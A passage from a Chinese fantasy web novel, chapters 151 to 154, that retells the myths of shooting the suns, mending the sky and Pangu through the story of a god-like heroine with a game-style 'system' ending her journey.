当与颜辞云和元德分开后，青阳飞快地奔跑着。 他跑到了天涯海角，站在那块象征着世界尽头的高石上，弯弓搭箭，举弓射日。 事情非常顺利。 一切都如同青阳想象的一模一样！ 当第一颗火球如折翼的火鸟一样从天空陨落时，青阳的心中不由感到了一股巨大的满足与兴奋。 那是平平无奇的自己，终于受到不可思议之世界的感召，背负上自己独一无二的使命的兴奋。 是生于此长于此的自己，终于有机会回报这片土地和生活在这片土地上的人们的满足。 他终于不再是普通的、随时可被替代的、转眼就会被淹没在芸芸众生之中的凡人。 他终于不再是无用的、毫无自主性的、哪怕站在高山之上大声喊出自己名字也不会得到任何回应的庸人！ 于是很快的，在这样的激动和兴奋下，青阳再次搭箭，张弓射日！ 第二颗火球也落下了。 当整个世界都为这名陨落的神灵敲响丧钟时，青阳却只听到了大地上，那些在烈日下哀嚎的生灵们，终于喘了口气的声音。 青阳脸上的表情越发欣喜： 瞧啊，瞧啊！ 听到了吗？听这个世界发出的声音——他在做正确的事，毫无疑问！ 他在进行一项独一无二的伟业。 毋庸置疑！ 于是青阳第三次张弓，将箭矢对准太阳。 事实上，到了这一刻，青阳的手臂其实已经开始发颤。 他迟迟瞄不准天上那轮巨大的太阳，因此他迟迟不敢射出箭囊内仅有不多的武器。 可青阳到底是擅长射箭的。 所以，三十息后，青阳咬牙放箭。 第三颗太阳，就此陨落！ 然而，在松开弓弦射出箭矢的那一瞬间，青阳却跪倒在地，冷汗一层层从额上渗出。 ——痛！ 像是血肉被生生溶解一样的痛。 像是血管被人生生抽出、用力拉扯着心脏一样的痛！ 青阳不可置信地看向自己的手。 这才是……这才是第三颗太阳啊…… ——怎么办？ 就自己这个连接受了神女大人的改造、仅有的能站在太阳下的人，都只能射出三箭而已。 那剩下的七颗太阳，要如何是好？！ 青阳看向天上依然高悬的七颗太阳，心中是膨胀到极点的兴奋迅速消退为绝望的窒息。 但，也正是在这一刻，青阳听到了脚步声。 青阳警觉回头，却见一群“老熟人”正向他走来。 ——是水之部族的那群家伙！ 他们怎么会在这里？ 作为火之部族的客卿，青阳与水之部族的这些人也算是老对头了。 虽然水火两个部族之间的敌对，不至于像水之部族和颛顼部族之间那样仇深似海，但相互的关系也绝谈不上好。 因此，几乎在见到这些家伙们的出现，青阳便不顾手臂的抽痛，警惕地站了起来。 水之部族的神裔们见此，便没有再继续靠近，只远远站着，慢慢分开一条道来。 而后，从这条道路的尽头，水之部族的族长，一位年迈的老妪走了出来。 她真的非常非常老了，族里的神裔们都叫她阿姆，将她视作自己的母亲，乃至母亲的母亲的母亲。 按理来说，当天柱倾塌，无尽洪流从天而降时，离天洪最近的水之部族应该是伤亡惨重的，而年迈无力的她也应当是第一批死去的。 可事实上，第一时间命令族裔们放弃陆地上的一切，潜入水中，随着洪水和流波去往大海的水之部族，不但躲过了第一批的天洪之灾，甚至阴差阳错地躲过了十日凌空的烈焰之灾！ 如今，在大地上凡人十不存一、神裔也伤亡惨重的现在，这水之部族的族裔们，反倒是有生力量保存得最为完好的一个部族。 青阳目光扫视面前地水之部族一眼，只是稍稍一动脑，就飞快明白了事情的经过。 他想到这场由共工开启的灾难，想到大地上无数哀嚎的生灵，冷笑一声，哪怕心里明知不该在这种时候主动挑衅远强于自己的敌人，却还是忍不住阴阳怪气道： “你们倒是活得很好吗？难怪你们的天神要撞倒天柱——把大地上的所有人都杀了，自然也没有敌人的存在了。谁敢说这不是一个取得胜利的好方法呢？” 站在最前头的几个水之部族的神裔，霎时间就涨红了面皮。 但出乎意料的，对于青阳这样的贴脸嘲讽，这些年轻气盛的神裔们竟然没有立即冲上来和青阳干架，而是将目光投向了人群后慢慢走出的老族长。 “我知道，年轻人，你的心里对我们水之部族，有着诸多怨恨……或者说，此刻的大地上，所有的生灵都对我们水之部族有太多太多怨恨。” 老族长终于站到了人前。 她的身体因年迈而佝偻，她的眼睛因年轻的战争而目盲。 但她的声音坚定，带着时间给予她的智慧、阅历沉淀而来的力量。 “如今的时刻，我知道我们部族再说什么，都已经无济于事了。所以我们来到你面前，只有一个请求：请将你的弓箭，将你未完成的事业，还有整个世界的未来，都交给我们部族吧。” 青阳心中一沉，眉头紧锁：“老家伙，你知道你在说什么吗？这不是普通的弓，这是娥的弓，它带着最爆裂的火焰，不是一般人、更不是你们水之部族能随便使用的。除非你们——” 以生命为代价。 说到这里，青阳一顿，没有再说下去了。 可作为水之部族中最智慧的长者，她又怎么会不知道这一切呢？ 所以，族长只是说道：“无妨。” “这是我们部族，应当为世界为众生做出的赎罪。” 这一刻，青阳迟疑地看着面前水之部族的神裔们。 他终于后知后觉地发现，此刻站在他面前的，是水之部族最优秀的青年，加上老族长，共有七人。 他犹豫地抬起完好的手，近乎不忍地将弓与箭交给面前的这几个水之部族的青年。 说到底，青阳和这些神裔并没有切身的仇恨。 而共工撞倒天柱一事，也不是这些神裔想看到的。 所以他此刻将弓箭交给这些神裔的举动，无疑就是默认了让他们去死。 ——他真的可以眼睁睁看着这些能被自己叫出名字的神裔们去死吗？ 或许可以，或许……不行。 但他没有选择。 于是，青阳沉默地看着第一个青年长在他的面前。 这个神裔叫莲，一个很美丽的名字，一个很凶悍的战士。 她率先走上前来，毫不犹豫地接过青阳的弓箭，张弓—— “呼啦！” 火焰几乎瞬间将她点燃，烧掉了她曾精心编织的漂亮头发，也烧掉了她凌厉的眉毛，长长的眼睫，小麦色的皮肤，代表着战士荣誉的伤疤，甚至是她鲜红的血肉。 咻—— 再一次的彗星贯日！ 第四颗太阳落下了。 随之落下的，还有化作灰烬的莲，以及熊熊燃烧的弓。 但，没有人让这把弓跌落地上。 紧接着，第二个水之部族的神裔上前，接住了这把弓。 于是，第五颗太阳落下了。 后来，时第六颗太阳，第七颗太阳，第八颗太阳，第九颗太阳。 当最后一轮多余的火日，也化作陨星后，大地终于重归宁静。 雨云在天空迅速凝聚着，很快就劈里啪啦地砸向大地。 它给世间万物带来了生命的源泉，也将那些神裔的余烬融化，流回海洋。 青阳抬头，说不出自己此刻心中是什么滋味。 而当他终于回神，推了推身旁坐着的水之部族的老族长，问她接下来想要怎么做时，他突然发现，这位老族长的身体竟然是僵硬的。 ——她已经死去多时了。 第152章 补天 生命总会找到自己的…… 几乎也是在同一时刻，大地的另一端，娥带领着自己的部族在地下河道艰难取水时，见到了水之部族，以及水之部族的新族长。 地下洞穴里的这条河道弯曲环绕，干涸了大半。 当两个本有着仇怨的部族，猝不及防在这条河道旁狭路相逢时，出乎意料的，两边的部族竟然都没有什么战意。 无论是性格暴烈的火之部族，还是肩负撞倒天柱之罪责的水之部族，两个部族后裔的脸上，都是如出一辙的疲惫、恐惧、麻木、死寂。 ——当真正可怕的、压倒性的灾祸降临时，敢于站起来奋力一搏的终究是少数。 绝大多数人，都会在触及这份恐惧和压力的瞬间，就被彻底压倒，心智被恐惧所摄，最后仍活在世上的，不过是一具行尸走肉而已。 可娥并非如此。 恒——这位水之部族的新任族长，也并非如此。 或许是能够成为族长之人，必有其过人之处。 当娥抬起头来，看到地下水道对面的恒时，几乎是瞬间，就发现了她眼中同样不息的火光。 娥有一瞬间怔愣在了原地。 她忍不住回头看着自己身后的族人们，在这一瞬间想了很多很多，可想到最后，她收回了目光，垂下头，没有再看对面，只指挥着青壮们从几近干涸的水道里一点点取出水来，递给那些奄奄一息的老人，和惶惶不安的孩童。 可恒却在这个时候迈过了这条狭窄河道。 当她踏上河道这边的土地时，几乎所有火之部族的战士都在这一刻站起身，面露警惕。 而随着火之部族的战士的反应，水之部族的战士们也做出了反应，齐齐起身。 原本还算寡淡的氛围瞬间剑拔弩张！ 但是，分明她此刻处于风口浪尖，水之部族的这位新族长恒，却只是随意摆了摆手，说：“别激动，都坐下。” 于是，娥也摆手，说：“大家不要紧张，休息罢。” 两个部族的战士们面露迟疑，最后到底还是在两边族长的安抚下，缓缓坐下。 他们的手上仍抓紧着各自的武器，做好随时起身，同敌人奋力一搏的准备。 可两位族长间的气氛，却出乎意料的平静。 “你来做什么？”娥问。 恒并没有绕圈子，说：“仪死了，现在我是部族的新族长。” 娥说：“我知道。” 娥作为部落的族长，当然不会不知道这件事——当看到是恒率领着水之部族的大半族人，而原本的老族长仪不知所踪时，她就已经明白了水之部族两任族长之间的交替。 恒又说：“所以我有责任，也有义务，去弥补水神大人在这世间犯下的过错——而你也一样，水神大人的妹妹，娥。” 娥沉默了片刻：“你想说什么？” “跟我来。” 两人起身，来到离两个部族暂歇地不远处的一个角落。 恒的手指看起来柔软，就像是水一样，但骨头却比铁石还要坚硬。她在角落处蹲下后，将手指刺入泥土，大力从泥土下翻找着什么，翻得泥土飞溅。 娥不解看着这一幕，问道：“你想给我看什么？” “看能够挽回这一切的东西。” 很快的，在恒的翻找下，一个沾满泥土的沉暗石块被她翻了出来。 “你看这个。” “这是什么？” “你看一看就知道了！” 恒不由分说，将石块塞进了娥的掌心。 这一刻，在触及这颗沉暗晦涩的石头的瞬间，娥呆住了。 她感到一股说不清道不明的灵觉，骤然在心头环绕，随后，她的灵魂突然上升，仿佛被无形的手牵引，一路向上，向上，直至云端，直达那骇然而不可思议的天之裂隙！ 她的□□分明还站在原地，可她的灵魂却早已出窍，来到了天边。 于是，当娥抬头时，她看到了云端之上，那些愁眉苦脸的众神正低低商议。 祂们不断提出想法，提出要如何如何补天，但这样的想法又迅速被其他的神灵否决。 祂们的神色一筹莫展。 而当娥低下头时，她看到了大地上，芸芸众生在经历天倾和十日凌空的灾祸后，早已十不存一。 绿野被黄沙覆盖，城镇被骸骨淹没，一直奔腾着发出喧嚣的河道露出皲裂的伤疤，而本该是盆地的绿谷却又被天洪淹没。 此刻，世界将倾！ 而我—— 可扶之！ 站在云端之下的娥福至心灵，低头看向自己其实并不存在此时此地此刻手掌。 她看到了……一颗沾满泥土的石头。 石头？！ 娥伸出手，轻轻地擦了一下。 第一下，泥土拭去，污秽尽除。 第二下，晦涩褪下，神物生灵。 第三下，万丈光华，冲破黑暗！ 娥从灵魂出窍的状态中瞬间脱离，低头看到自己手中的“石头”此刻竟闪烁出了五色神光！ 娥瞠目结舌：“这、这是、这是——？！” 恒握紧了娥的手，热切道：“你也看到了，对不对？你也看到了那一幕，听到了那个声音，对不对？！” 娥恍惚了一下。 声音，什么声音？ 难道是—— 世界将倾，我可扶之？ 娥涩声道：“你……你究竟想做什么？” 恒一字一顿：“补、天！” 娥：“可是——” 恒：“我想要补天，我们——想要补天！ “这件事，我一个人做不到，你一个人也做不到，而只有我们——我们两个人，才能做到！” 那从天而降的洪流，只有恒能够避开，那从界外吹拂而来的罡风，只有火神的女儿娥不会惧怕！ 所以，就像恒说的。 补天这件事，她一个人做不到，娥一个人也做不到，唯有“她们”，才能做到！ 娥看了一眼自己身后的部族们，抿了抿唇：“可是，可是我们可以将这块石头交给神灵们……” 恒打断她：“如今还有哪位神灵能听到我们的呼唤？！” 如今身处此地的，唯有火之部族和水之部族。 可水之部族的神共工不知所踪，火之部族的神祝融则以身殉道。 而至于其它的神灵？ 在这样的紧要关头，哪个神还顾得上来自其它部族的神裔的祈祷和求助呢？ 祂们听不到的！ 娥又说：“我们也可以找到其他部族的神裔，让他们联系神……” 恒厉声打断：“来不及了！娥！你还不明白吗？来不及了！此时此刻此地，唯有你我，才可补天！” 当断不断，反受其乱。 娥沉默了三息后，合掌握紧五色石。 她回头看向自己的部族，将部族众人面上的惶恐惊惧和望向她的信任依赖尽收眼底，心中是说不出的怜惜悲悯。 可她也不会忘记自己灵魂出窍的片刻时间里看到的化作沙漠的森林、被洪水淹没的谷地，和漫漫原野上数不尽的白骨。 娥无声吸气，做下了决定。 “灼。”娥点出了部族里一个年轻的女孩。 这个女孩的面容尚且青涩，但她的手掌满是老茧，嘴角已有刀疤。 她年纪虽然还小，却是每次在娥审视自己的族人们时第一个回视她的人。 于是娥决定，将自己的责任、自己的牵挂，交给她。 “从此以后，你就是部族的新一任族长。” 另一头，在见到娥做出决定后，恒也飞快做出了她的决定。 两个部族的神裔们对族长们的决定纷纷表示惶恐和不解，追问道：“那族长你呢？娥/恒，你要去哪儿？” 娥和恒分别立于狭窄河道的两侧，面对不同的族裔。 但她们的声音却殊途同归。 “我要去做我该做的事。” · 大雨磅礴，水流如注。 青阳在老族长仪的尸体身旁站了好一会儿，终于动手，将她枯瘦的身体横抱起来，放入大海，注视着她随波远去。 青阳知道，这位老族长的尸体虽然瘦小，可她却终将如鲸一样，静静从大海沉落。 她的血肉会养育无数的生命，她的骨骼会沉入海底，或是堆积在珊瑚上，或者散落于礁石旁。她会与世界与自然与大海融为一体，再不分彼此。 这就是每个水之部族的神裔的宿命。 而当青阳终于收回目光，松了口气，决定寻找火之部族、与娥会合时，他突然看到有一道五色灵光升起。 像是一抹飘渺的云霄，又像是神女的彩衣。 它从大地升起，越飞越高，越飞越远，飞向那高悬的日与月，也飞向那无尽的天洪。 青阳本只是站在原地，震撼于它的美丽和不可思议。 可当那霞光里的人突然回头，与他遥遥对视的那一瞬间，青阳突然明白了那霞光之中的主人，明白了这一刻究竟发生了什么。 他的血液几乎与心脏一同凝固，有什么滚烫的东西从他眼眶滑落，融入了雨中。 他的身体控制不住地在大地上狂奔起来。 他的声音忍不住高呼起来： “娥！娥——不要去，不要去！！” 他知道自己这一刻应该站在原地。 他应该目送那人的远去，也应该钦佩于她的信念、祝福她的未来。 他更应该以她为豪，因为他所倾慕的人是如此不可思议、正走在一条世上所有人都无法与之相比的伟业上！ 可他却无法停下挽留的脚步，无法控制自己绝望的声音。 “娥，不要去，不要去啊！娥！回来，回来！” “不要丢下我，不要丢下我……求你，求你……” 青阳的声音如此悲戚。 他再也追不上那道霞光，跪坐在地，捂住脸，在暴雨中痛哭失声。 可天边的娥却再没有回头。 娥和恒飘飘荡荡来到云端，身如云霞，快逾雷电。 她们紧握着手上的五色石，像是天生就知道该如何做一样，分工合作，一人在云端下引开洪流，一人托着五色石，直奔天边。 几乎就在娥托举着五色石抵达裂隙的瞬间，那五色石就被裂隙吸入，化作无形的丝线，将那道漆黑的裂隙轻轻缝补。 但—— 太少了！ 一颗五色石，根本不够！ 怎么办？ 竟然不够？ 怎么办？！ 从未想过这个问题的娥与恒二人心急如焚。 可令她们没有想到的是，几乎就在这颗五色石消失在天边的同一时间，大地上个遥远的某处，一道道五色灵光冲天而起！ 大启朝。 颜辞云将五色石从物品栏里取出。 此刻，它们就像是受到了某种呼唤，早已蠢蠢欲动、按捺不住了。 颜辞云只轻轻松开手，它们便欢呼起来，发出了山呼海啸般的声音。 漫天神彩编织出无尽霞光。 紧接着，一颗、两颗、无数颗五色石，就这样如乳燕投林般，飞向了天边的娥与恒，化作修补灾难的缝针，以遗憾与痛苦、信念与牺牲为线，编织出她们想要的新世界。 颜辞云立于原地，看着这样的一幕，轻轻叹息。 看啊—— 生命总会找到自己的出路。 第153章 最终之路 “如果我不进行…… 至此，这方小世界的灾难，彻底告一段落。 天空上，那五彩霞光仍在飘动，轻柔如丝带，绚烂如神光。 但那原本在彩霞中的人，却不知不觉消失不见了。 或许是化作了灰烬，又或许是别的什么。 但，当太阳不知不觉沉落，圆月从黑暗中冉冉升起时，人们遥望着那片如梦如幻的彩霞，都坚定相信，那消失的神女，必然是乘着着霞光，飞向了月亮，在月亮上获得了永生。 之后，第二天。 太阳照常升起。 颜辞云站在云上，俯首凝望大地。 只见大地上，遍地狼藉，满目疮痍。曾经的原野化作荒漠，曾经的谷地成为海洋。 也不知道有多少生命在这场劫难中死去了。 但至少，更多的生灵活了下来。 哪怕它们的族群死伤惨重，并且在世界环境的骤变下不得不开始迁徙，在对前路的忐忑无助中离开故地，寻找新的栖息地，但颜辞云知道，生命是顽强的。 只要给生命足够的时间，它们必然会重新站起来，昂首挺胸地踏上世界的舞台。 不过，与此同时，一个不知道是好是坏的消息也被颜辞云发现。 原来，这方世界破而后立、因祸得福，借补天的机会修复好了它原本和筛子一样千疮百孔的世界屏障。 而随着世界的屏障被修复，颜辞云和系统9122这两个外来者，感受到的来自小世界的排斥力，也变得越来越强。 当颜辞云还能凭着自己的神力稳稳站在云端时，大地尽头却早已有无数道流光冲天而起，穿过黑暗，去往更遥远的天外天——那是麻溜带着宿主跑路的系统，们。 也不知道这个世界到底穿了多少人。 “看来，我们也是时候告别了。” 颜辞云从袖中摸出系统9122，好奇捏了捏这个小能量团，直捏得这个小光团抱着自己嗷嗷直叫。 【别捏了别捏了，我的数据库要散架了！】 欺负完小动物的颜辞云满意收回手，好奇问道：“你能找到回家的路吗？” 【那当然！我可是有完整人格矩阵的高级系统，只要我发出信号，总部就会马上把我接回去的！】 颜辞云又指了指另一个智障系统，即颜辞云从某位龙族佛子手里截下来的小智障：“那它呢？” 系统9122遗憾说：【它不行。我之前说过的，它不是完整的系统，而只是系统分出的一个基础功能模块，智能很低，除非完成任务，回到主系统处，再由那个主系统把它带回去，否则它是没办法回归的。】 颜辞云思考了一会儿，点点头：“我明白了。” 她飞到云端之上，飞到更高更高的地方，松开手。 “那么，再见。” 【再见。】 早就该回归却硬被颜辞云扣下的小系统，见大怪兽这回是真的打算放了它了，忍住欢呼雀跃的冲动，沉稳告别。 旋即，它化作流星，飞向遥远的宇宙深处。 颜辞云抬头，看着陪伴了她一段路程的系统9122越飞越远，直到再也无法于宇宙中捕捉到一点微光后，她回过头，再次看向自己脚下的这方小世界。 由于颜辞云在界外逗留了好一会儿，因此，当颜辞云再观察小世界时，这里的时间已经过去了数年。 幸存下来的人们，抛弃了融化的城镇、干涸的河流，在同样不得不抛弃故地的神之后裔们的帮助下，于新的地点建立起了新的城镇。 曾经泾渭分明的神人之限，已逐渐模糊，逐渐无人提起。 而组织这一切、黏合这一切、镇压这一切的，正是手持【震山千人斩】这把刀的元德。 看来，颜辞云懒得把玩的玩具，放在不同的境况下、不同的人手里，也能发挥出不同的作用。 而至于那位做出过射日壮举的英雄青阳，在一切结束之后，他既没有回到火之部族，也没有回到他的大启朝，而是在大地上游荡着。 他总是沉默，背后是一张弓，腰间是一壶酒，路遇不平时，他总会出手助人，但他从不提起自己的名字，更不提起自己的过往。 可在某一天，他路过一个由破旧草屋搭起的茶水棚时，听到有人在说夸父部族，说后羿射日，说恒娥奔月。 而每到这个时候，他总是会变得更加沉默。 颜辞云的目光继续巡视大地。 她看到火之部族和水之部族在失去各自的族长后，曾有一段同舟共济的日子，可很快的，两个部族又分道扬镳。 火之部族的神裔们，选择接受羿的好友元德的邀请，纷纷融入人间，去帮助凡人们建设这片变得不太宜居的大地；而水之部族则执意坚守神人之限，远离凡人，一路向北，去往那片更遥远荒芜的北海。 至于那些曾经备受神裔们崇拜的神灵们，祂们感于自己在这场天灾中的无能为力，要么选择去往天外天，去见识更广阔的天地、锤炼自己，要么就此沉寂下去，无颜再接受神裔们的供奉。 还有那片化作荒漠的原野，那沙子的覆盖区域，似乎在逐年增大，令人忧心。 还有那片融入海洋的谷地，在那片汪洋中，似乎正由全新的生命悄然诞生。 万类霜天竞自由。 最后再看了这个世界一眼，颜辞云从这个小世界的最后一道裂隙——也就是连接着大世界台州的裂隙处，径直离开。 而也几乎在颜辞云离开这个小世界的瞬间，空间裂隙闭合。 台州，那片令颜辞云忧心的不稳定空间裂隙，就此全都消失不见。 那么没来得及被颜辞云“遣返原籍”的鬼族巨人们，也就是误入大世界的神裔们，此刻也没办法再丢回去了，只能让他们在台州定居下来。 只不过当两个世界的不正常连接断开后，这些神裔们也被这个大世界的秩序盖上了章，从“黑户”成为了“土著”，有了合法身份的同时，也失去了死而复生的能力。 被生死所约束的他们，恐怕再不能像之前那样，仗着自己的不死之身上山下海地欺负本地鱼了。 但可能是这些巨人们的闹腾实在惹了众怒吧，颜辞云听到大世界的本土异兽们给这些巨人起了不太友好的称呼，意译一下就是【恐怖直立猿】，而音译的话则是【尼安德特】。 颜辞云：等会？这对吗？ 总之，到了这里，颜辞云这场漫长的旅途，终于可以宣告结束了。 一切尘埃落定。 · 之后，时间似乎过得很快。 颜辞云回想自己这一段旅程中看到的东西，从超新星爆炸中汲取灵感，准备批量制造黄金。 她在荒芜死寂的北极之山附近，手搓了一个掌中星球，先压缩，再引爆。 第一次的实验结果非常激烈，那剧烈逸散的炁，差点把龙形态的颜辞云都炸翻了。 而当颜辞云灰头土脸地回来后，她沮丧发现，爆炸地没有给她留下任何金子的痕迹。 但好消息是，有了这次的经验后，颜辞云已经懂得怎么手搓钻石了！ 甚至都不需要去寻找石墨，只要随便烧掉一棵树，把它变成炭，然后放在手里揉成一团。 好了，现在它是石墨了。 而后，颜辞云再把石墨放在掌中，像是揉一个面粉团一样，搓一搓、拍一拍、按一按。 好了，现在它是钻石了。 超简单！ 有了这一次的经验后，颜辞云信心满满地又开启了自己第二次“点石成金”的实验。 在接连失败五次、得到无数副产品后，颜辞云终于学会了怎么在一颗石头大小的超小星体内引发可控爆炸，将它转换为一块金子。 而也几乎在颜辞云掌握这一门手艺的瞬间，颜辞云发现，自己的【生活】技能面板里的【承天布宣】分支，点亮了一个新的神通： 【点石成金：将石头炼成金子。】 非常简单的描述。 但非常吓人—— 因为在这之前，颜辞云一直以为这是一种幻术，或者只是将石头变成愚人金而已。 她万万没想到，这一个小小的【点石成金】的神通，竟然是指可控性超新星大爆炸！ 你这个神通的门槛是不是有点高了？ 颜辞云稍稍擦擦额上的冷汗。 而待到颜辞云回过神后，她看了看系统的计时。 原来，不知不觉，五年时间就这样过去了。 时间，对于现在的她来说，可真是不值钱啊。 颜辞云有些感慨。 之后，颜辞云又继续将自己这趟旅途的灵感变现。 【划江成陆：将一片区域的水域变成陆地。】 这个神通的获得，是颜辞云在进行新实验的过程中差点把北极之门这边的陆地都炸没了后，不得不潜入海底，将一些海底大陆升起、充当陆地时，意外点亮的能力。 在点亮这个神通之前，颜辞云干的这事，单纯就是把海底大陆托上海面，类似于填海造陆，是纯粹的蛮力。 可在点亮这个神通之后，颜辞云脑中无数灵光飞舞，竟飞快明白了【水】与【土】的物质转换！ 土，和水？物质转换？ 这代表着什么？！ 颜辞云心下大喜，趁热打铁，借助手中的水灵珠，搓出了一颗土灵珠。 【土灵珠（完美）：蕴含着无穷土炁的灵珠，可引动地脉，降山为海，划江成陆。】 颜辞云看着自己手上的珠子，自己都被震惊到了：什么？原来这东西还可以自己手搓的？ 传说中的天才地宝，自己竟然也能——哦，差点忘了，自己是神来着。 她不是需要神兵利器和外挂的凡人。 她就是外挂本身啊！ 再次明确了这一点老被她忘记的事后，颜辞云心中有些郁闷： 所以，她之前的小心收集算什么？ 算她有耐心吗？！ 不爽。 不过，往好处想，既然完美土灵珠都可以手搓了，那完美金灵珠是不是也不可以？！ 她之前甚至手搓了一个小星体，把那个小星体变成了黄金呢，如今手搓一个金灵珠，应该也不算难吧？！ 于是，颜辞云兴致勃勃，又开始琢磨金灵珠的事。 可能手搓星体这件事真的给了颜辞云很大灵感，在捏金灵珠时，颜辞云竟有种轻车熟路之感，很快就捏出了一个漂亮的白色珠子。 【金灵珠（完美）：蕴含着无穷金炁的灵珠，主刀兵、杀伐，有万物皆可破之特性，现之则天下秋。】 颜辞云看着这珠子，满意点头。 很好，现在金、木、水、火、土五灵珠齐全，而她的灵珠收集图鉴，也算是告一段落了！ 想到这里，颜辞云看了看时间。 竟然，又是一年过去了。 接下来的两年多，颜辞云不断地做实验，不断地点亮神通。 在没有投入技能点的前提下，颜辞云竟然先后把【九息服气】、【移星换斗】、【补天浴日】、【回天返日】等神通，通通点亮了！ 【承天布宣】这个技能分类，被颜辞云彻底掌握！ 至此，颜辞云虽然没有在技能面板上投入足足40个技能点，可她掌控的三十五个神通所代表的技能点，以及她用技能点堆出的【吞噬（3/3）】、【支配（1/3）】、【改造（1/3）】，再加上解锁模块本身需要的两个技能点后，颜辞云在技能面上投入的技能点，可以算作42！ 这个数字，早就超过了解锁技能第三模块所需要的技能点。 因此，颜辞云毫无障碍地解锁了技能面板中的那个灰白图标。 【冯冯翼翼，洞洞灟灟】 “天地未形，冯冯翼翼，洞洞灟灟，故曰太昭。” 她点进这个模块。 出现在她眼前的，仅有一个能力。 就如同她当初所想的那样。 【斡旋造化：斡旋天地，玄堪造化，以无生有，以死为活。】 这一刻，久违的系统提示音响起。 【叮！任务[创造生命]已开启，创造模式加载中，请玩家尽快创造人类，回归神位。】 颜辞云沉吟了一下。 她有点意外。 但仔细想想，好像又没有那么意外。 她思考了许久，再一次向这个沉睡的系统提出了问题： “如果我不进行这个任务，应该也没关系吧？” 而这一次，这个沉睡了十年、连个使用指南都没给玩家留下的系统，第一次明确回应了玩家的问题。 【为什么？】 系统的机械音里有人性化的困惑：为什么不想做这个任务？ 明明玩家离最后的大胜利只有一步之遥，为什么要在这里停下？ 颜辞云有些意外地眨了眨眼，没想到自己的智障系统竟然真的回答了她的自言自语。 但很快的，她笑了起来： “这样吧，我带你去一个地方。” 第154章 最后的选择【正文完】 第154章 最后的选择 【正文完】 系统没有回答颜辞云，但颜辞云能够感觉到，它正在“看”。 于是颜辞云掏出了自己几年前在小世界里截胡“龙族佛子”的来的小智障系统——这里就叫它小智障吧。 小智障是一个独立系统的分支，是只有特定功能模块的低级AI。 而这个“特定功能”里，就包括寻路。 因此，颜辞云很快就通过这个小智障系统，定位到了之前她去过的那方小世界。 此时，离颜辞云离开此地，已近过去了数百年。 曾经的神裔也好，补天也罢，都成为了只存在神话故事里的传说。 大地上一派生机勃勃，原本只零星散落大地的小小村落，也变成了一个个城镇。 【这就是你想让我看的东西？是什么？】 系统发出了困惑的声音。 颜辞云笑道：“还没开始呢。” 颜辞云乘着月色，来到人间，四下看了看，很快找到了自己的目的地—— 一个正在跟孩子讲睡前故事的奶娘。 “……传说，很久很久以前，天上有十个太阳，晒得老百姓实在活不下去了。而这时候，一个力大无穷的英雄——羿，挺身而出，用他的神弓一口气射下了九个太阳，为百姓解除了苦难。 “西王母感念他对人间做出的贡献，赐给了他一枚不死仙丹。 “可是，这件事被一个坏女人——羿的妻子，嫦娥听到了。于是嫦娥就趁着羿不注意，偷吃了羿的不死药，飞到月宫。” 孩子的声音清脆：“可是奶娘，我听说，飞到月宫的是恒娥，恒和娥，是两个人呢。” 奶娘：“瞎说，就是嫦娥，大家都这样说的。” 孩子又说：“但我还听说，羿没有什么妻子，也没有被西王母赐下不死药，恒和娥也是真正的神女，就连天都是她们补的……” “瞎说！”奶娘呵斥，“区区女子，如何能补天？那补天的，分明是女娲娘娘！” “女娲娘娘也是女子……” “女娲娘娘非人，乃神也，自然不是我们能比的。而那嫦娥，不过是一个窃夫的罪人，如何能将补天的功劳安在她们身上？这样的话日后可莫要再说了！” 孩子犹豫说：“可她们明明都说……” “那些人都是骗你的！”奶娘苦口婆心，“这故事啊，自古以来就是这么流传的，还是圣人们亲子传下来的，如何能错？ “想来，是那些真正偷了她们夫君宝贝的坏女人们，刻意编造了这种说法，试图以此给自己开脱。玉儿啊玉儿，以后你可一定不能成为那窃夫的坏女人啊！” 孩子低声嘟哝着，似乎仍是不服气：“可当年圣人焚烧书简2689篇，那么多记载和历史都被烧掉了，只留下了他想留的，谁知道他后来编的那些是真是假呢……” 奶娘吓了一跳：“玉儿，慎言！这样的话，以后可不准再说了。” “可是……” “不准就是不准！听到了吗？！！” “……哦。” 可能是为了安抚这个孩子，奶娘后来又念起了女娲补天的故事。 可孩子却听得心不在焉，一双眼睛亮晶晶地看着窗外的月亮。 但却不知道这双未受污染的眼睛，还能明亮多久。 与此同时，颜辞云也来到了下一个地方。 这个房间里聚集的，就不是什么孩童和奶娘了，而他们所描绘的，也不是什么孩童的睡前故事。 他们是一群怀才不遇——至少自认为怀才不遇的学子。 而他们夜深未眠，聚集此地，不是为了别的，正是为了他们的前途：他们试图编造一个新的神话传说，当作他们仕途的敲门砖！ “……不行不行，这个故事的主角怎么能叫元德？” “可我们写的就是元德圣人的故事啊。” “可直接写圣人元德之名，岂不是显得我等太过谄媚？” “是啊，太过谄媚。再者说，元德圣人所为，虽然如同为我等开辟一片新天地，可他确实是凡人之身。如果我们直接写元德圣人是新神，大家定然会直接唾弃我们胡诌，连看都看的看，又怎么会感到其中的精妙，从而举荐我们？” “那要怎么办？” “我们不用、也不能写得太直白，我们要写一个似是而非的、虽然没有提及元德圣人却又能让所有人都联想到元德圣人的故事！” “那、那——” “我们要写……很久很久以前，天和地还没有分开，宇宙混沌一片，一个巨人，沉睡其中，但有一天，他突然醒了。” “我们要写，他有无人能及的责任感和悲悯之心，所以他不忍天地之间只有黑暗，便以巨刀——” “不行还是太明显了，写斧头。” “那行，他不忍天地之间只有黑暗，便以巨斧破之！而后，那缓缓上升的东西，变成了天；慢慢下降的东西，变成了地。” “这样行吗？” “还不够，还不够。如此简陋，怎能显现出圣人之德？” “那、那……对了！天和地分开以后，巨人怕它们还会合在一起，便头顶着天，脚蹬着地，直到天地逐渐成形了，巨人也终于累得倒下来了。” “很好很好，不过，这一段虽显露了圣人之德，但显现不了圣人之能。还不够！” “还不够，还不够……有了！巨人倒下后，他呼出的气息，变成了四季的风和云。” “好！妙哉妙哉！巨人的声音也可以变作隆隆的雷声！” “没错，还有巨人的双眼，它们可以变成太阳和月亮！” “还有巨人的四肢，还有巨人的皮肤、他的血液、他的汗，这些都是可以写的嘛！” “我早就说了，女娲区区女子，怎能成为至圣？生孩子这种事，是个女人都会，还是让她做元德圣人的后辈更为妥当。” “对的对的，世间万物，都是圣人的子孙，天地诸神，都要向圣人低头！” “所以元德圣人的直系子孙，还有玄帝，岂不就是天生圣人！” “妙哉妙哉，玄帝看了这个故事，必然龙颜大悦！” “有了这个故事，谁还会说我们六君子无才无德无能？这样妙的故事都能从我们手里诞生，谁还会小瞧我们——要知道，小瞧我们，就是小瞧元德圣人啊！” “但巨人也要有一个名字，叫什么？” “——盘古。” “是了，是了，这个名字好。” “所以这个故事，就叫做《盘古开天》！” 